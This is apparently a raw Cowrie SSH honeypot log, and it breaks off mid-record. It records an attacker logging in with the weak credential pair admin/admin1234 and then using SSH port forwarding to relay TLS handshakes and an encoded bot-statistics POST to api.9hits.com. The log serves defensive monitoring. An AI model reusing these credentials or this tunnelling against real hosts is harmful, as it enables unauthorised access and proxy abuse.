{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;i\\xe6\\x95w-\\x98i\\xa3'\\xf6\\x19\\x01\\xbb\\x19\\xda\\x04\\x9b\\x92\\xbd\\xf8\\xb3\\xa6EQ\\xcc\\xa0\\xa3\\xc9\\x97\\xec\\n &\\xc2<\\xd9Y\\x04-}\\xa1\\xd8\\xf2\\xd46\\x19`\\xfb\\xa8\\xc99o\\xcc8k\\xc6\\xde~\\xd7\\x07\\x87P*\\xbc\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 _\\x03\\xbb\\x83\\xc4 \\x97\\xcd%\\\\\\x1f\\x00\\xc9\\x9d-:\\xfb\\xbe\\xcb\\x800d\\x9c\\x18*\\x82\\xe4%\\xfa\\x02A$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03;i\\xe6\\x95w-\\x98i\\xa3'\\xf6\\x19\\x01\\xbb\\x19\\xda\\x04\\x9b\\x92\\xbd\\xf8\\xb3\\xa6EQ\\xcc\\xa0\\xa3\\xc9\\x97\\xec\\n &\\xc2<\\xd9Y\\x04-}\\xa1\\xd8\\xf2\\xd46\\x19`\\xfb\\xa8\\xc99o\\xcc8k\\xc6\\xde~\\xd7\\x07\\x87P*\\xbc\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 _\\x03\\xbb\\x83\\xc4 \\x97\\xcd%\\\\\\x1f\\x00\\xc9\\x9d-:\\xfb\\xbe\\xcb\\x800d\\x9c\\x18*\\x82\\xe4%\\xfa\\x02A$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:57.607711Z","src_ip":"23.175.50.47","session":"7413e3bcb4d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:57.813799Z","session":"7413e3bcb4d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:57.874357Z","src_ip":"23.175.50.47","session":"7413e3bcb4d7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\xd3a\\x8fgbb\\xb1\\xfd\\x88\\xfa\\xf2\\x06\\xdd\\x1c\\xdd\\xa6H\\r\\x9f\\x90\\xe2\\xc2Z\\x801@\\x14GB\\xf4# \\x92Y\\x07\\xe4\\xfb\\x80\\xc5\\xc6\\xff\\xe8\\x9e\\xafs-\\xf6\\xdc\\x84\\x0c@\\x9b\\x9d\\xef\\xbdKQ\\xf7\\xb0\\xff1\\x0f\\xa9s\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcc\\xaa\\xf6\\x98\\xe7\\xf2\\xacW\\n\\xefG\\'\\xf91A}B\\xa6\\x808:/\\xfc^\\xe2\\xbe\\x0c\\xa6\\xdao\\xcdv\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb5\\xd3a\\x8fgbb\\xb1\\xfd\\x88\\xfa\\xf2\\x06\\xdd\\x1c\\xdd\\xa6H\\r\\x9f\\x90\\xe2\\xc2Z\\x801@\\x14GB\\xf4# \\x92Y\\x07\\xe4\\xfb\\x80\\xc5\\xc6\\xff\\xe8\\x9e\\xafs-\\xf6\\xdc\\x84\\x0c@\\x9b\\x9d\\xef\\xbdKQ\\xf7\\xb0\\xff1\\x0f\\xa9s\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcc\\xaa\\xf6\\x98\\xe7\\xf2\\xacW\\n\\xefG\\'\\xf91A}B\\xa6\\x808:/\\xfc^\\xe2\\xbe\\x0c\\xa6\\xdao\\xcdv\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:34:57.877926Z","src_ip":"23.175.50.47","session":"7413e3bcb4d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.2","message":"Connection lost after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:01.303388Z","src_ip":"23.175.50.47","session":"7413e3bcb4d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":50211,"dst_ip":"10.17.0.5","dst_port":22,"session":"96f088581678","protocol":"ssh","message":"New connection: 23.175.50.47:50211 (10.17.0.5:22) [session: 96f088581678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:22.786957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:22.843420Z","src_ip":"23.175.50.47","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:22.867434Z","src_ip":"23.175.50.47","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:24.212889Z","src_ip":"23.175.50.47","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:25.902665Z","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:25.969973Z","src_ip":"23.175.50.47","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; 5028D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Kio3Qms1bGNLSVMpe2s5IQ%3D%3DYynsHidjZgGK%2FX0F7CMkROYeu7MH2RJaSeu7%2FrM7E0SX3Oe4V90pUK8xE24HdeTEcb483Ec4yuTxma3t3ICQEnjlZuZhnpHXK%2Fw6zo0V1LTf1TW4uYyyVUCghZf4yYkq4yupIsMGRbKUOZyuplGkrTughOvKSeqf3p37Yr7PR4vemhJNh83kNjyET%2BGyblm3SBz2WNXyrEz1m00pyqh2WvrGUJy%2FAlKkpXeyH3QiRHLrcqelu5UuNN1xf%2F%2FLIaxiSg96YLWKpe4DOPiaV47v47MOS720i3WBUx9TfFHeFfxYnhBFqRv%2BGNe3uHRfnKA1t4m1K7Gg%2BkrSv4kxoRmA863hUE54K%2BPF80Ouy7IeMVzSIR02JL4%2FA6U77tmjpIofQZDmOeLXtsQoOnW8xESDY90e0bQKKvwFqpJwiaGiqTFoQeVULqWiI8JXdj5ozHE6Eikw7gbzBoIbGklFpxNX7dvHsl%2B12%2Fv1sN8funh7uI7mzaFihmPumm1dW1fU53zmuvVDw%2FWlj7PWR9cEsiez2eJAzLxojNuZoTJm2q2ySCXGSrJyzNlKwHyd8BCa4BS7nDM1Y5kDN9fWGu75IqqU8hOXWbjj5PBNBzSCNUVcEQwfgYGKUDbo5JiUcoEI1H2%2FXAfnkID4hIR4VfeF0QiVZ6CFjUaX7mrOxDzlb2zOJzFoYSyQLy2lxivk0EOpGIBsN5iHChC0O0DxAJ99jcChUmwn%2BJ3hf0FfVPsFEIPhaFNYXIZtK7fLtnwnazsNBjlQ7oDjVD5u1s%2FUtQS5NoX4RRtnshzzli%2FPDVK8DbfCq%2F3xp26hiWtInQa4g2XLbH%2BOCn%2FzOZkCDfCO0dJLoMx2oM%2BmwlNLTbCJ7XxUQKPM4iPAUHE%2F4p6nNTjOIQ13a3uek4iL5fnL7FlA%2FYHQYLeLBE%2B2aTgcyJ%2Bkr0kmdWk%2B8dmZHEnLqcg785GaGEpoCDU2Ep1eWhLaaLVSUeZi1DcWY7bs17H33UFJ8k7wf9tSgOwMCaCdYfNXTdMXg6vtX%2BtSDM7E%2BCXDJfl0jcXypY1IyCuuBTBZcVJB5SQbIzUuN6R7S7FyM5Jvwy7XR2NfuChA'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; 5028D) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Kio3Qms1bGNLSVMpe2s5IQ%3D%3DYynsHidjZgGK%2FX0F7CMkROYeu7MH2RJaSeu7%2FrM7E0SX3Oe4V90pUK8xE24HdeTEcb483Ec4yuTxma3t3ICQEnjlZuZhnpHXK%2Fw6zo0V1LTf1TW4uYyyVUCghZf4yYkq4yupIsMGRbKUOZyuplGkrTughOvKSeqf3p37Yr7PR4vemhJNh83kNjyET%2BGyblm3SBz2WNXyrEz1m00pyqh2WvrGUJy%2FAlKkpXeyH3QiRHLrcqelu5UuNN1xf%2F%2FLIaxiSg96YLWKpe4DOPiaV47v47MOS720i3WBUx9TfFHeFfxYnhBFqRv%2BGNe3uHRfnKA1t4m1K7Gg%2BkrSv4kxoRmA863hUE54K%2BPF80Ouy7IeMVzSIR02JL4%2FA6U77tmjpIofQZDmOeLXtsQoOnW8xESDY90e0bQKKvwFqpJwiaGiqTFoQeVULqWiI8JXdj5ozHE6Eikw7gbzBoIbGklFpxNX7dvHsl%2B12%2Fv1sN8funh7uI7mzaFihmPumm1dW1fU53zmuvVDw%2FWlj7PWR9cEsiez2eJAzLxojNuZoTJm2q2ySCXGSrJyzNlKwHyd8BCa4BS7nDM1Y5kDN9fWGu75IqqU8hOXWbjj5PBNBzSCNUVcEQwfgYGKUDbo5JiUcoEI1H2%2FXAfnkID4hIR4VfeF0QiVZ6CFjUaX7mrOxDzlb2zOJzFoYSyQLy2lxivk0EOpGIBsN5iHChC0O0DxAJ99jcChUmwn%2BJ3hf0FfVPsFEIPhaFNYXIZtK7fLtnwnazsNBjlQ7oDjVD5u1s%2FUtQS5NoX4RRtnshzzli%2FPDVK8DbfCq%2F3xp26hiWtInQa4g2XLbH%2BOCn%2FzOZkCDfCO0dJLoMx2oM%2BmwlNLTbCJ7XxUQKPM4iPAUHE%2F4p6nNTjOIQ13a3uek4iL5fnL7FlA%2FYHQYLeLBE%2B2aTgcyJ%2Bkr0kmdWk%2B8dmZHEnLqcg785GaGEpoCDU2Ep1eWhLaaLVSUeZi1DcWY7bs17H33UFJ8k7wf9tSgOwMCaCdYfNXTdMXg6vtX%2BtSDM7E%2BCXDJfl0jcXypY1IyCuuBTBZcVJB5SQbIzUuN6R7S7FyM5Jvwy7XR2NfuChA'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:25.973233Z","src_ip":"23.175.50.47","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:26.203336Z","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:35:26.262575Z","src_ip":"23.175.50.47","session":"96f088581678","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9ei\\x13hU'\\xcdd{h\\x1ec\\xde\\xdbg\\x8f\\x9e\\xd6\\xfdx\\x11+^\\xe6&\\xf4\\xb7\\x90\\xdeDg\\x96 #x#U\\x03\\xc0\\xba\\xdb\\xf6\\xbc\\xffo\\xcb\\xd2\\xfbW=\\xb2\\xca\\x15\\xc6\\xbb5\\x879\\xfb\\xaf\\xfe\\xc7\\xcd\\xae\\x83\\x00 \\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x0